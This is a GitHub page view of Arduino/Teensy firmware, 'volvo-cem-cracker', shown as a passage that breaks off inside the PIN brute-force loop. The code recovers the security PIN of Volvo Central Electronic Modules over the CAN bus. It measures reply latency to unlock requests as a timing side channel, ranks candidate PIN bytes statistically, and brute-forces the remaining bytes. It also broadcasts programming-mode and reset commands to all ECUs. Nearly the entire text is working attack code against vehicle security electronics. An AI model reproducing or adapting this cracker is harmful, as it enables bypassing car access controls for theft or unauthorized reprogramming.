-
Notifications
You must be signed in to change notification settings - Fork 47
/
volvo-cem-cracker.ino
1420 lines (1040 loc) · 32.8 KB
/
volvo-cem-cracker.ino
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
/* SPDX-License-Identifier: GPL-3.0 */
/*
* Copyright (C) 2020, 2021 Vitaly Mayatskikh <[email protected]>
* 2020 Christian Molson <[email protected]>
* 2020 Mark Dapoz <[email protected]>
*
* This work is licensed under the terms of the GNU GPL, version 3.
*
*/
/* tunable parameters */
#define CALC_BYTES 3 /* how many PIN bytes to calculate (1 to 4), the rest is brute-forced */
#define CEM_PN_AUTODETECT /* comment out for P2 CEM-L on the bench w/o DIM */
//#define DUMP_BUCKETS /* dump all buckets for debugging */
/* end of tunable parameters */
#include <stdio.h>
#include <FlexCAN_T4.h>
#include <LiquidCrystal.h>
#if !defined(__IMXRT1062__)
#error Unsupported Teensy model, need 4.x
#endif
uint32_t cem_reply_min;
uint32_t cem_reply_avg;
uint32_t cem_reply_max;
#define AVERAGE_DELTA_MIN -8 /* buckets to look at before the rolling average */
#define AVERAGE_DELTA_MAX 12 /* buckets to look at after the rolling average */
#define CAN_L_PIN PIND2 /* CAN Rx pin connected to digital pin 2 */
#define CALC_BYTES_PIN PIND3 /* calculated bytes selection to digital pin 3 */
#define ABORT_PIN 14 /* abort cracking request */
#define CAN_500KBPS 500000 /* 500 Kbit speed */
#define CAN_250KBPS 250000 /* 250 Kbit speed */
#define CAN_125KBPS 125000 /* 125 Kbit speed */
FlexCAN_T4<CAN1, RX_SIZE_256, TX_SIZE_16> can_hs;
FlexCAN_T4<CAN2, RX_SIZE_256, TX_SIZE_16> can_ls;
typedef enum {
CAN_HS, /* high-speed bus */
CAN_LS /* low-speed bus */
} can_bus_id_t;
/* use the ARM cycle counter as the time-stamp */
#define TSC ARM_DWT_CYCCNT
#define printf Serial.printf
#define CAN_MSG_SIZE 8 /* messages are always 8 bytes */
#define CEM_HS_ECU_ID 0x50 /* CEM ECU id on the high-speed CAN bus */
#define CEM_LS_ECU_ID 0x40 /* CEM ECU id on the low-speed CAN bus */
#define PIN_LEN 6 /* a PIN has 6 bytes */
uint8_t shuffle_orders[4][PIN_LEN] = { { 0, 1, 2, 3, 4, 5 }, { 3, 1, 5, 0, 2, 4 }, {5, 2, 1, 4, 0, 3}, { 2, 4, 5, 0, 3, 1} };
uint8_t *shuffle_order;
/* configuration parameters for known CEM part numbers */
struct _cem_params {
uint32_t part_number; /* CEM part number */
uint32_t baud; /* baud rate on high-speed bus */
uint32_t shuffle; /* PIN shuffle order */
} cem_params[] = {
/* P1 */
{ 8690719, CAN_500KBPS, 0 },
{ 8690720, CAN_500KBPS, 0 },
{ 8690721, CAN_500KBPS, 0 },
{ 8690722, CAN_500KBPS, 0 },
{ 30765471, CAN_500KBPS, 0 },
{ 30728906, CAN_500KBPS, 0 },
{ 30765015, CAN_500KBPS, 0 },
{ 31254317, CAN_500KBPS, 0 },
{ 31327215, CAN_500KBPS, 3 },
{ 31254749, CAN_500KBPS, 3 },
{ 31254903, CAN_500KBPS, 0 },
{ 31296881, CAN_500KBPS, 3 },
/* P2 CEM-B (Brick shaped 1999-2004 with K-line) */
{ 8645716, CAN_250KBPS, 0 },
{ 8645719, CAN_250KBPS, 0 },
{ 8688434, CAN_250KBPS, 0 },
{ 8688436, CAN_250KBPS, 0 },
{ 8688513, CAN_250KBPS, 2 },
{ 30657629, CAN_250KBPS, 0 },
{ 9494336, CAN_250KBPS, 0 },
{ 9494594, CAN_250KBPS, 0 },
{ 8645171, CAN_250KBPS, 0 },
{ 9452553, CAN_250KBPS, 0 },
{ 8645205, CAN_250KBPS, 0 },
{ 9452596, CAN_250KBPS, 0 },
{ 8602436, CAN_250KBPS, 0 },
{ 9469809, CAN_250KBPS, 0 },
{ 8645200, CAN_250KBPS, 0 },
/* P2 CEM-L (L shaped and marked L 2005-2014) */
{ 30682981, CAN_500KBPS, 1 },
{ 30682982, CAN_500KBPS, 1 },
{ 30728356, CAN_500KBPS, 1 },
{ 30728542, CAN_500KBPS, 1 },
{ 30765149, CAN_500KBPS, 1 },
{ 30765646, CAN_500KBPS, 1 },
{ 30786475, CAN_500KBPS, 1 },
{ 30786889, CAN_500KBPS, 1 },
{ 31282457, CAN_500KBPS, 1 },
{ 31314468, CAN_500KBPS, 1 },
{ 31394158, CAN_500KBPS, 1 },
/* P2 CEM-H (L shaped and marked H 2005 - 2008) */
{ 30786476, CAN_500KBPS, 1 },
{ 30728539, CAN_500KBPS, 1 },
{ 30682982, CAN_500KBPS, 1 },
{ 30728357, CAN_500KBPS, 1 },
{ 30765148, CAN_500KBPS, 1 },
{ 30765643, CAN_500KBPS, 1 },
{ 30786476, CAN_500KBPS, 1 },
{ 30786890, CAN_500KBPS, 1 },
{ 30795115, CAN_500KBPS, 1 },
{ 31282455, CAN_500KBPS, 1 },
{ 31394157, CAN_500KBPS, 1 },
{ 30786579, CAN_500KBPS, 1 },
};
/* measured latencies are stored for each of possible value of a single PIN digit */
typedef struct seq {
uint8_t pinValue; /* value used for the PIN digit */
uint32_t latency; /* measured latency */
double std;
} sequence_t;
sequence_t sequence[100] = { 0 };
/* number of PIN bytes to calculate */
uint32_t calc_bytes = CALC_BYTES;
/* Teensy function to set the core's clock rate */
extern "C" uint32_t set_arm_clock (uint32_t freq);
/* Initialize the LCD library for use with the Hitachi HD44780
* controller using the following interface pins:
*
* LCD RS pin to digital pin 8
* LCD Enable pin to digital pin 9
* LCD D4 pin to digital pin 4
* LCD D5 pin to digital pin 5
* LCD D6 pin to digital pin 6
* LCD D7 pin to digital pin 7
* LCD R/W pin to ground
* LCD VSS pin to ground
* LCD VCC pin to 5V
* LCD VO pin to variable 10K resistor to ground
* LCD LCD- to ground
* LCD LCD+ to +5V via 1K resistor
*/
#define LCD_ROWS 2
#define LCD_COLS 16
const uint8_t rs = 8, en = 9, d4 = 4, d5 = 5, d6 = 6, d7 = 7;
LiquidCrystal lcd (rs, en, d4, d5, d6, d7);
#define lcd_printf(x, y, fmt, args...) { \
char buf[LCD_COLS + 1]; \
snprintf (buf, sizeof(buf), fmt , ## args); \
lcd.setCursor (x, y); \
lcd.print (buf); \
}
/* forward declarations */
bool cemUnlock (uint8_t *pin, uint8_t *pinUsed, uint32_t *latency, bool verbose);
/* abort request setting */
volatile bool abortReq = false;
/*******************************************************************************
*
* abortIsr - interrupt service routine for aborting request
*
* Returns: N/A
*/
void abortIsr (void)
{
/* signal that we want to abort the operation */
abortReq = true;
}
/*******************************************************************************
*
* canMsgSend - send message on the CAN bus (FlexCAN_T4 version)
*
* Returns: N/A
*/
void canMsgSend (can_bus_id_t bus, uint32_t id, uint8_t *data, bool verbose)
{
CAN_message_t msg;
if (verbose == true) {
printf ("CAN_%cS ---> ID=%08x data=%02x %02x %02x %02x %02x %02x %02x %02x\n",
bus == CAN_HS ? 'H' : 'L',
id, data[0], data[1], data[2], data[3], data[4], data[5], data[6], data[7]);
}
/* prepare the message to transmit */
msg.id = id;
msg.len = 8;
msg.flags.extended = 1;
memcpy (msg.buf, data, 8);
/* send it to the appropriate bus */
switch (bus) {
case CAN_HS:
can_hs.write (msg);
break;
case CAN_LS:
can_ls.write (msg);
break;
default:
break;
}
}
CAN_message_t can_hs_event_msg;
CAN_message_t can_ls_event_msg;
volatile bool can_hs_event_msg_available = false;
volatile bool can_ls_event_msg_available = false;
/*******************************************************************************
*
* canMsgReceive - receive a CAN bus message
*
* Note: always processes messages from the high-speed bus
*
* Returns: true if a message was available, false otherwise
*/
bool canMsgReceive (can_bus_id_t bus, uint32_t *id, uint8_t *data, uint32_t wait, bool verbose)
{
uint8_t *pData;
uint32_t canId = 0;
bool ret = false;
volatile bool &msg_avail = (bus == CAN_HS ? can_hs_event_msg_available : can_ls_event_msg_available);
CAN_message_t &msg = (bus == CAN_HS ? can_hs_event_msg : can_ls_event_msg);
do {
/* call FlexCAN_T4's event handler to process queued messages */
bus == CAN_HS ? can_hs.events () : can_ls.events ();
/* check if a message was available and process it */
if (msg_avail) {
/* process the global buffer set by can_hs.events */
msg_avail = false;
canId = msg.id;
pData = msg.buf;
ret = true;
} else {
delay (1);
wait--;
}
} while (!ret && wait);
/* no message, just return an error */
if (!ret)
return ret;
/* save data to the caller if they provided buffers */
if (id)
*id = canId;
if (data)
memcpy (data, pData, CAN_MSG_SIZE);
/* print the message we received */
if (verbose) {
printf ("CAN_%cS <--- ID=%08x data=%02x %02x %02x %02x %02x %02x %02x %02x\n",
bus == CAN_HS ? 'H' : 'L',
canId, pData[0], pData[1], pData[2], pData[3], pData[4], pData[5], pData[6], pData[7]);
}
return ret;
}
/*******************************************************************************
*
* binToBcd - convert an 8-bit value to a binary coded decimal value
*
* Returns: converted 8-bit BCD value
*/
uint8_t binToBcd (uint8_t value)
{
return ((value / 10) << 4) | (value % 10);
}
/*******************************************************************************
*
* bcdToBin - convert a binary coded decimal value to an 8-bit value
*
* Returns: converted 8-bit binary value
*/
uint8_t bcdToBin (uint8_t value)
{
return ((value >> 4) * 10) + (value & 0xf);
}
/*******************************************************************************
*
* profileCemResponse - profile the CEM's response to PIN requests
*
* Returns: number of PINs processed per second
*/
uint32_t profileCemResponse (void)
{
uint8_t pin[PIN_LEN] = { 0 };
uint32_t start;
uint32_t end;
uint32_t latency;
uint32_t rate;
bool verbose = false;
uint32_t i;
cem_reply_avg = 0;
/* start time in milliseconds */
start = millis ();
/* collect the samples */
for (i = 0; i < 1000; i++) {
/* average calculation is more reliable using random PIN digits */
for (uint32_t j = 0; j < PIN_LEN; j++)
pin[j] = binToBcd (random (0, 99));
/* try and unlock the CEM with the random PIN */
cemUnlock (pin, NULL, &latency, verbose);
/* keep a running total of the average latency */
cem_reply_avg += latency / clockCyclesPerMicrosecond ();
}
/* end time in milliseconds */
end = millis ();
/* calculate the average latency for a single response */
cem_reply_avg /= 1000;
cem_reply_min = cem_reply_avg / 2;
cem_reply_max = cem_reply_avg + cem_reply_min;
/* number of PINs processed per second */
rate = 1e6 / (end - start);
printf ("1000 pins in %u ms, %u pins/s, average response: %u us, histogram %u to %u us \n",
(end - start), rate, cem_reply_avg, cem_reply_min, cem_reply_max);
return rate;
}
volatile bool intr;
/*******************************************************************************
*
* cemUnlock - attempt to unlock the CEM with the provided PIN
*
* Returns: true if the CEM was unlocked, false otherwise
*/
bool cemUnlock (uint8_t *pin, uint8_t *pinUsed, uint32_t *latency, bool verbose)
{
uint8_t unlockMsg[CAN_MSG_SIZE] = { CEM_HS_ECU_ID, 0xBE };
uint8_t reply[CAN_MSG_SIZE];
uint8_t *pMsgPin = unlockMsg + 2;
uint64_t start, end, limit;
uint32_t id;
uint32_t maxTime = 0;
/* shuffle the PIN and set it in the request message */
for (uint32_t i = 0; i < PIN_LEN; i++)
pMsgPin[shuffle_order[i]] = pin[i];
/* maximum time to collect our samples */
limit = TSC + 2 * 1000 * clockCyclesPerMicrosecond ();
intr = false;
/* send the unlock request */
canMsgSend (CAN_HS, 0xffffe, unlockMsg, verbose);
start = end = TSC;
while (!intr && TSC < limit) {
/* if the line is high, the CAN bus is either idle or transmitting a bit */
if (digitalRead (CAN_L_PIN))
continue;
/* the CAN bus isn't idle, it's the start of the next bit */
end = TSC;
/* we only need to track the longest time we've seen */
if (end - start > maxTime)
maxTime = end - start;
/* start of the next sample */
start = end;
}
/* default reply is set to indicate a failure */
memset (reply, 0xff, sizeof(reply));
/* see if anything came back from the CEM */
canMsgReceive (CAN_HS, &id, reply, 1000, false);
/* return the maximum time between transmissions that we saw on the CAN bus */
if (latency)
*latency = maxTime;
/* return PIN used if the caller wants it */
if (pinUsed != NULL) {
memcpy (pinUsed, pMsgPin, PIN_LEN);
}
/* a reply of 0x00 indicates CEM was unlocked */
return reply[2] == 0x00;
}
/*******************************************************************************
*
* ecu_read_part_number - read the part number for an ECU
*
* Returns: part number as a 32-bit value
*/
uint32_t ecu_read_part_number (can_bus_id_t bus, uint8_t id)
{
uint32_t _id;
uint8_t data[CAN_MSG_SIZE] = { 0xcb, id, 0xb9, 0xf0, 0x00, 0x00, 0x00, 0x00 };
uint8_t rcv[CAN_MSG_SIZE];
bool verbose = true;
uint32_t pn = 0;
bool ret;
uint32_t i, j = 0;
uint32_t frame;
printf ("Reading part number from ECU 0x%02x on CAN_%cS\n", id, bus == CAN_HS ? 'H' : 'L');
yet_again:
canMsgSend (bus, 0xffffe, data, verbose);
i = 0;
j++;
frame = 0;
if (j > 10)
return 0;
do {
again:
i++;
if (i > 20)
goto yet_again;
ret = canMsgReceive (bus, &_id, rcv, 10, true);
if (!ret)
goto again;
_id &= 0xffff;
if (bus == CAN_HS && _id != 0x0003UL)
goto again;
if (bus == CAN_LS && _id != 0x0003UL && _id != 0x0005UL)
goto again;
i = 0;
if (frame == 0 && rcv[0] & 0x80) {
pn *= 100; pn += bcdToBin (rcv[5]);
pn *= 100; pn += bcdToBin (rcv[6]);
pn *= 100; pn += bcdToBin (rcv[7]);
frame++;
} else if (frame == 1 && !(rcv[0] & 0x40)) {
pn *= 100; pn += bcdToBin (rcv[1]);
frame++;
}
} while (frame < 2);
printf ("Part Number: %u\n", pn);
return pn;
}
/*******************************************************************************
*
* ecu_read_part_number_prog - read the part number for an ECU in PROG mode
*
* Returns: part number as a 32-bit value
*/
uint32_t ecu_read_part_number_prog (can_bus_id_t bus, uint8_t id)
{
uint32_t _id;
uint8_t data[CAN_MSG_SIZE] = { id, 0x88, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };
bool verbose = true;
uint32_t pn = 0;
printf ("Reading part number from ECU 0x%02x on CAN_%cS\n", id, bus == CAN_HS ? 'H' : 'L');
canMsgSend (bus, 0xffffe, data, verbose);
canMsgReceive (bus, &_id, data, 1000, verbose);
for (uint32_t i = 0; i < 6; i++) {
pn *= 100;
pn += bcdToBin (data[2 + i]);
}
printf ("Part Number: %u\n", pn);
return pn;
}
/*******************************************************************************
*
* progModeOn - put all ECUs into programming mode
*
* Returns: N/A
*/
void progModeOn (void)
{
uint8_t data[CAN_MSG_SIZE] = { 0xFF, 0x86, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };
uint32_t time = 5000;
uint32_t delayTime = 5;
bool verbose = true;
printf ("Putting all ECUs into programming mode.\n");
while (canMsgReceive (CAN_HS, NULL, NULL, 1, false));
/* broadcast a series of PROG mode requests */
while (time > 0) {
if ((time % 1000) == 0)
k_line_keep_alive ();
canMsgSend (CAN_HS, 0xffffe, data, verbose);
canMsgSend (CAN_LS, 0xffffe, data, verbose);
verbose = false;
time -= delayTime;
delay (delayTime);
}
while (canMsgReceive (CAN_HS, NULL, NULL, 1, false));
}
/*******************************************************************************
*
* progModeOff - reset all ECUs to get them out of programming mode
*
* Returns: N/A
*/
void progModeOff (void)
{
uint8_t data[CAN_MSG_SIZE] = { 0xFF, 0xc8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };
bool verbose = true;
printf ("Resetting all ECUs.\n");
/* broadcast a series of reset requests */
for (uint32_t i = 0; i < 50; i++) {
canMsgSend (CAN_HS, 0xffffe, data, verbose);
canMsgSend (CAN_LS, 0xffffe, data, verbose);
verbose = false;
delay (100);
}
}
/*******************************************************************************
*
* seq_max_lat - qsort comparison function
*
* Returns: compare latencies and return relative difference between two values
*/
int seq_max_lat (const void *a, const void *b)
{
sequence_t *_a = (sequence_t *)a;
sequence_t *_b = (sequence_t *)b;
return _b->latency - _a->latency;
}
/*******************************************************************************
*
* crackPinPosition - attempt to find a specific digit in the PIN
*
* Returns: true if aborted
*/
bool crackPinPosition (uint8_t *pin, uint32_t pos, bool verbose)
{
uint8_t seq[100];
uint32_t i;
uint32_t ranges[7] = { 100, 50, 25, 12, 6, 3, 2 };
uint32_t samples[7] = { 10, 20, 50, 100, 200, 300, 400 };
for (i = 0; i < 100; i++) {
seq[i] = binToBcd (i);
}
for (i = 0; i < 7; i++) {
/* run through the range and exit if aborted */
if (crack_range (pin, pos, seq, ranges[i], samples[i], verbose))
return (true);
}
return (false);
}
/*******************************************************************************
*
* crack_range - attempt to find PIN digit in a range
*
* Returns: true if aborted
*/
bool crack_range (uint8_t *pin, uint32_t pos, uint8_t *seq, uint32_t range, uint32_t samples, bool verbose)
{
uint32_t len = sizeof(int) * (cem_reply_max - cem_reply_min);
uint32_t *histogram = (uint32_t *)malloc (len);
uint32_t latency;
uint32_t prod;
uint32_t sum;
double std;
uint32_t pin1, pin2;
uint32_t i;
uint32_t k;
uint32_t xmin = cem_reply_avg + AVERAGE_DELTA_MIN;
uint32_t xmax = cem_reply_avg + AVERAGE_DELTA_MAX;
/* clear collected latencies */
memset (sequence, 0, sizeof(sequence));
printf ("range %u, samples %u\n", range, samples);
printf ("candidates short list: ");
for (i = 0; i < min (50u, range); i++)
printf ("%02x ", seq[i]);
if (50 < range)
printf (" (+ %d more)\n", range - 50);
printf ("\n");
printf (" us: ");
for (i = xmin; i < xmax; i++)
printf ("%5d ", i);
printf ("\n");
/* iterate over all possible values for the PIN digit */
for (pin1 = 0; pin1 < range; pin1++) {
/* update display spinner */
lcd_spinner ();
/* set PIN digit */
pin[pos] = seq[pin1];
/* print a progress message for each PIN digit we're processing */
printf ("[ ");
/* show numerial values for the known digits */
for (i = 0; i <= pos; i++) {
printf ("%02x ", pin[i]);
}
/* placeholder for the unknown digits */
while (i < PIN_LEN) {
printf ("-- ");
i++;
}
printf ("]: ");
/* clear histogram data for the new PIN digit */
memset (histogram, 0, len);
/* iterate over all possible values for the adjacent PIN digit */
for (pin2 = 0; pin2 < 100; pin2++) {
/* set PIN digit */
pin[pos + 1] = binToBcd (pin2);
/* collect latency measurements the PIN pair */
for (uint32_t j = 0; j < samples; j++) {
/* check if an abort has been requested */
if (abortReq) {
free (histogram);
return (true);
}
pin[pos + 2] = range < 100 ? random (100, 255) : binToBcd (j % 100);
/* try and unlock and measure the latency */
cemUnlock (pin, NULL, &latency, verbose);
/* calculate the index into the historgram */
uint32_t idx = latency / clockCyclesPerMicrosecond ();
if (idx < cem_reply_min)
idx = cem_reply_min;
if (idx >= cem_reply_max)
idx = cem_reply_max - 1;
idx -= cem_reply_min;
/* bump the count for this latency */
histogram[idx]++;
/* update display spinner */
lcd_spinner ();
}
}
/* clear the digits we just used for latency iteration */
pin[pos + 1] = 0x00;
pin[pos + 2] = 0x00;
/* clear statistical values we're calculating */
prod = 0;
sum = 0;
/* loop over the histogram values */
for (k = xmin; k < xmax; k++)
printf ("% 5u ", histogram[k - cem_reply_min]);
for (k = cem_reply_min; k < cem_reply_max; k++) {
uint32_t l = k - cem_reply_min;
uint32_t h = histogram[l];
if (h) {
prod += h * k;
sum += h;
}
}
uint32_t mean = sum / (xmax - xmin);
long x = 0;
for (k = cem_reply_min; k < cem_reply_max; k++) {
uint32_t l = k - cem_reply_min;
if (histogram[l])
x += sq (histogram[l] - mean);
}
std = sqrt ((double)x / (cem_reply_max - cem_reply_min));
/* weighted average */
printf (": latency % 10u; std %3.2f\n", prod, std);
/* store the weighted average count for this PIN value */
sequence[pin1].pinValue = pin[pos];
sequence[pin1].latency = prod;
sequence[pin1].std = std;
#if defined(DUMP_BUCKETS)
printf ("Average latency: %u\n", cem_reply_avg);
for (k = 0; k < cem_reply_max - cem_reply_min; k++) {
if (histogram[k] != 0) {
printf ("%4u : %5u\n", k + cem_reply_min, histogram[k]);
}
}
#endif
}
/* sort the collected sequence of latencies */
qsort (sequence, range, sizeof(sequence_t), seq_max_lat);
/* update display spinner */
lcd_spinner ();
/* print the top range/2 latencies and their PIN value */
printf ("best candidates ordered by latency:\n");
for (uint32_t i = 0; i < range; i++) {
printf ("%u: %02x lat = %u\n", i, sequence[i].pinValue, sequence[i].latency);
}
printf ("...\n");
for (i = 0; i < range; i++)
seq[i] = sequence[i].pinValue;
if (range == 2) {
/* set the digit in the overall PIN */
pin[pos] = sequence[0].pinValue;
printf ("pin[%u] choose candidate: %02x\n", pos, pin[pos]);
}
free (histogram);
return (false);
}
/*******************************************************************************
*
* cemCrackPin - attempt to find the specified number of bytes in the CEM's PIN
*
* Returns: true if aborted
*/
bool cemCrackPin (uint32_t maxBytes, bool verbose)
{
uint8_t pin[PIN_LEN];
uint8_t pinUsed[PIN_LEN];
uint32_t start;
uint32_t end;
uint32_t percent = 0;
uint32_t percent_5;
uint32_t crackRate;
uint32_t remainingBytes;
bool cracked = false;
uint32_t i;
/* profile the CEM to see how fast it can process requests */
printf ("Profiling CEM\n");
lcd_printf (0, 1, "Profiling CEM ");
crackRate = profileCemResponse ();
printf ("Calculating bytes 0-%u\n", maxBytes - 1);
lcd_printf (0, 1, "Bytes 0-%lu ", maxBytes - 1);
/* start time */
start = millis ();
/* set the PIN to all zeros */
memset (pin, 0x00, sizeof(pin));
/* try and crack each PIN position */
for (i = 0; i < maxBytes; i++) {
/* exit if an abort was requested */
if (crackPinPosition (pin, i, verbose))
return (true);
}
/* number of PIN bytes remaining to find */
remainingBytes = PIN_LEN - maxBytes,
/* show the result of the cracking */
printf ("Candidate PIN ");
/* show numerial values for the known digits */
for (i=0; i < maxBytes; i++) {
printf ("%02x ", pin[i]);
}
/* placeholder for the remaining digits */
while (i < PIN_LEN) {
printf ("-- ");
i++;
}
printf (": brute forcing bytes %u to %u (%u bytes), will take up to %u seconds\n",
maxBytes, PIN_LEN - 1, remainingBytes,
(uint32_t)(pow (100, remainingBytes) / crackRate));
lcd_printf (0, 1, "Bytes %lu-%u ", maxBytes, PIN_LEN - 1);
/* 5% of the remaining PINs to try */
percent_5 = pow (100, (remainingBytes))/20;
printf ("Progress: ");
/*
* Iterate for each of the remaining PIN bytes.
* Each byte has a value 0-99 so we iterare for 100^remainingBytes values
*/
for (i = 0; i < pow (100, (remainingBytes)); i++) {
uint32_t pinValues = i;
/* check if an abort has been requested */
if (abortReq) {
return (true);
}
/* fill in each of the remaining PIN values */
for (uint32_t j = maxBytes; j < PIN_LEN; j++) {
pin[j] = binToBcd (pinValues % 100);
/* shift to the next PIN's value */
pinValues /= 100;
}
/* try and unlock with this PIN */
if (cemUnlock (pin, pinUsed, NULL, verbose)) {
/* the PIN worked, print it and terminate the search */
printf ("done\n");
printf ("\nfound PIN: %02x %02x %02x %02x %02x %02x",
pinUsed[0], pinUsed[1], pinUsed[2], pinUsed[3], pinUsed[4], pinUsed[5]);
cracked = true;